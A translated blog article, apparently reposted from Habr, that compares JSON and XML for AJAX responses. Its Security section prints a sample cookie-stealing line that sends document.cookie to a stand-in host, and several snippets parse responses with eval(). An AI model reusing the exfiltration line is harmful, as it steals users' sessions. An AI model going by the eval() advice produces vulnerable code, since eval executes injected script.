📜 ⬆️ ⬇️

JSON and XML. What's better?

Note: the following is a translation of the JSON vs XML review article on JSON and its comparison with XML according to a number of criteria. It is published in order to popularize JSON among Habrahabr's readers.

JSON (English JavaScript Object Notation) is a data exchange format that is easy to read by people, easily processed and generated by programs.

Based on a subset of the JavaScript language, Standard ECMA-262 3rd Edition - December 1999 .

JSON - Wikipedia
')
What is the correct response format for XMLHttpRequest in AJAX applications? For most markup-based applications, the answer will be simple - (X) HTML. For information-oriented applications, the choice will lie between XML and JSON. Until recently, I didn’t really wonder if it’s better to use XML or JSON. I just assumed that in each particular case it is worth choosing the most suitable format, that's all. But recently I happened to test this approach in practice. In this post I will describe the criteria by which I made a comparison between XML and JSON, and my own conclusions.

So, the following criteria.




Readability code



Peter-Paul Koch c QuirksMode.org considers the readability of the code as the main criterion for its analysis . In my opinion, it is only a secondary goal, but you can easily agree that JSON is much easier perceived "by eye" than XML - you just have to look at the following examples.

XML

    <font color = "# 069"> <person> </ font>
       <font color = "# 069"> <firstname> </ font> Subbu <font color = "# 069"> </ firstname> </ font>
       <font color = "# 069"> <lastname> </ font> Allamaraju <font color = "# 069"> </ lastname> </ font>
    <font color = "# 069"> </ person> </ font>


Json

    ({   
      <font color = "# 069"> "firstName" </ font>: <font color = "# 069"> "Subbu" </ font>,
      <font color = "# 069"> "lastName" </ font>: <font color = "# 069"> "Allamaraju" </ font>
    });


But I’m willing to bet that debugging and fixing bugs is much more important than readability.

Ease of creation



The XML format has been known for many years ( note: the first working version was announced in 1996 , and the specification was already in 2000 ), therefore there is a certain set of program interfaces ( APIs ) for data binding to XML in several programming languages. For example, in Java, you can use JAXB and XmlBeans to create an XML response. Below is an example using JAXB.

    Person person = <font color = "# 069"> new </ font> Person ();
    person.setFirstName (<font color = "# 069"> "Subbu" </ font>);
    person.setLastName (<font color = "# 069"> "Allamaraju" </ font>);
    Marshaller marshaller = ... <font color = "# 008200"> // Create a marshaller object </ font>
    marshaller.marshal (person, outputStream);


On the other hand, all interfaces for creating a JSON response appeared relatively recently. However, a fairly impressive list has been published on JSON.org in various languages. Below is an example of creating a response using Json-lib .

    Person person = <font color = "# 069"> new </ font> Person ();
    person.setFirstName (<font color = "# 069"> "Subbu" </ font>);
    person.setLastName (<font color = "# 069"> "Allamaraju" </ font>);
    writer.write (JSONObject.fromObject (person) .toString ());


If we consider the functioning of such software interfaces, then creating JSON is not much different from serializing Java beans into objects. However, it is worth noting that now there are many more ways to generate XML, rather than JSON. Some of these programming interfaces for XML have existed for many years and for this reason may be more stable when used for complex applications.

Another aspect worth considering is the amount of resources that are used to generate the response. If upon receiving data, “heavy” operations are already being performed, then for the server part, it will not be too difficult to additionally convert them into XML for a response. If the creation of XML will be the most resource-intensive operation, it is better to use JSON.

Ease of use



On the client side, handling JSON data as a response to an XMLHttpRequest extremely simple.

    var person = eval (xhr.responseText);  
    alert (person.firstName);  


Using the usual eval() , you can convert the response into a JavaScript object. Once this operation has been performed, you can access the data using the properties of the converted object. This is the most elegant part of all JSON.

Now consider the XML. To make the code snippet below more transparent, I removed all the error checks.

    var xml = xhr.responseXML;
    var elements = xml.getElementsByTagName (<font color = "# 069"> "firstName" </ font>);
    alert (elements [<font color = "# c00000"> 0 </ font>]. firstChild.textContent);


Obviously, when processing data received from the server, you need to view all the DOM tree. This is a very time-consuming operation, and it is prone to errors. Unfortunately, in the browser we have to deal specifically with the DOM. Browsers do not support query languages, like XPath, for retrieving tree nodes in an XML document. Support for these features is already XSLT, but it is quite limited ( note: in the browser ) in terms of converting XML into markup (for example, in HTML). The W3C Web API Working Group on Software Interfaces is working on a Selectors API , which can be used to apply CSS selectors when selecting nodes from the Document object. Using this interface, you can convert the above code example to xml.match("person.firstName") to get the firstName element. Not to say that this is a great achievement for the XML document from this example, but it can be useful for working with highly branched documents. This interface is not yet complete, and it will be years before browsers support it.

In general, if I choose between XML and JSON, I prefer JSON because of the simplicity of the implementation on the client side.

Extensibility



Extensibility helps reduce the number of connections between the provider and the recipient. In the context of AJAX applications, the client-side script must be fairly invariant with respect to compatible changes in data.

It is widely believed that XML is automatically extensible simply due to the presence of the letter “X”. But this is not an unconditional rule (i.e. valid by default). XML extensibility is based on the principle that you can define additional nodes in your XML, and then apply the “skip unnecessary” rule (that is, if you encounter an unfamiliar element or attribute when processing XML, just skip it).

To take full advantage of extensibility, you need to create code on the client side with the expectation of this very extensibility. For example, the following example will collapse if you want to insert, for example, the element middleName .

   var xml = xhr.responseXML; 
   var elements = xml.getElementsByTagName (<font color = "# 069"> "firstName" </ font>);
   var firstNameEl = elements [<font color = "# c00000"> 0 </ font>];
   var lastNameEl = firstNameEl.nextSibling;


If you insert a <middleName> element immediately after the <firstName> element, in this example, the middle name will be interpreted incorrectly as a last name. To be invariant with respect to this change, you need to rewrite the code to explicitly get the <lastName> element, or to nextSibling , only if a descendant with the desired tagName . Thus, XML is extensible as long as you write code, relying on future extensibility. Everything is very simple.

Let's go back to JSON. I argue that extending JSON data is easier than XML. This certainly requires less effort. Consider adding a middleName property to a JSON response. To access it, you just need to call it.

    alert (person.middleName);


This code will not change if you add a middle name to your answer. But what to do in the case of processing a person with or without a middle name? With JSON it's easy.

   <font color = "# 069"> if </ font> (person.middleName) {
     <font color = "# 008200"> // Processing </ font>
   }


My position is that, if we bear in mind the possible future extensibility, and XML-, JSON-data can be extended. But with JSON, extending data is easier than with XML. You just need to check that the required property exists on the object, and act in accordance with the result of the check.

There is another possibility to extend JSON data, it is to use function calls with data declarations directly in the response.

   alert (<font color = "# 069"> "Hi - I'm a person" </ font>);
   ({<font color = "# 069"> "firstName" </ font>: <font color = "# 069"> "Subbu" </ font>,
     <font color = "# 069"> "lastName" </ font>: <font color = "# 069"> "Allamaraju" </ font>});


When data is declared via eval() , the browser will also invoke the expression alert() . In this case, you can both load data and execute functions. This approach should be used with great care, because it foul up the response with function calls and creates a link between the calls and the data. Some sources also consider the potential vulnerability of such an approach from a security point of view, a bit more detailed below.

Debugging and error correction



This aspect concerns both the server part of your application and the client part. On the server, you need to make sure that the data is correctly formed and correct. On the client side, it should be easy to debug errors in the response.

In the case of XML, it is relatively easy to verify that the data sent to the client is well formed and correct. You can use the schema for your data, and apply it to validate the data. With JSON, this task becomes manual and requires verification that, as a result of the response, an object has the correct attributes.

On the client side in both cases it is difficult to detect errors. For XML, the browser will simply not be able to convert it to responseXML. With small amounts of JSON data, you can use the FireBug extension to debug and fix errors. But with large amounts of data it becomes somewhat difficult to correlate the error message with a specific place in the code.

Security



Dave Johnson, in his JSON note, and the Golden Fleece, suggests that JSON can cause security problems. The essence of the note comes down to the fact that if you allow the insertion of function calls along with the data in JSON responses and use eval() to process the response, then you execute arbitrary code, in fact, which may already contain a security risk.

   window.location = <font color = "# 069"> "http://badsite.com?" </ font> + document.cookie;
   person: { 
     <font color = "# 069"> "firstName" </ font>: <font color = "# 069"> "Subbu" </ font>,
     <font color = "# 069"> "lastName" </ font>: <font color = "# 069"> "Allamaraju" </ font>
   }


If the answer in the example above is completed, this will cause the browser to send user cookies to a third-party site. But in this case, there is some misconception in determining the security threat. Do not trust the data or code obtained from an unverified source. And secondly, we cannot use XMLHttpRequest to communicate with domains other than the source domain of the script. So, only developers themselves when creating an application can initiate sending cookies to a third-party site. This is quite doubtful, because they might as well place this malicious code anywhere in the document outside of the data response sent from the server. Maybe I missed something, but I see no reason to treat JSON as unsafe compared to XML.

My choice



In the case of information-oriented applications, I prefer to use JSON, rather than XML, because of its simplicity and ease of data processing on the client side. XML can be indispensable on the server, but with JSON it is definitely easier to work on the client.

Related Links





Thanks to everyone who read this translation. Appreciate and respect your opinions and comments. I will try to take into account all the wishes and do not stay in debt. If you have any suggestions on the subject of future translations, do not hesitate to write them - I will try to make a selection or a detailed review of materials on these topics. Thanks for attention.

Web Optimizator: checking the speed of loading sites

Source: https://habr.com/ru/post/31225/


All Articles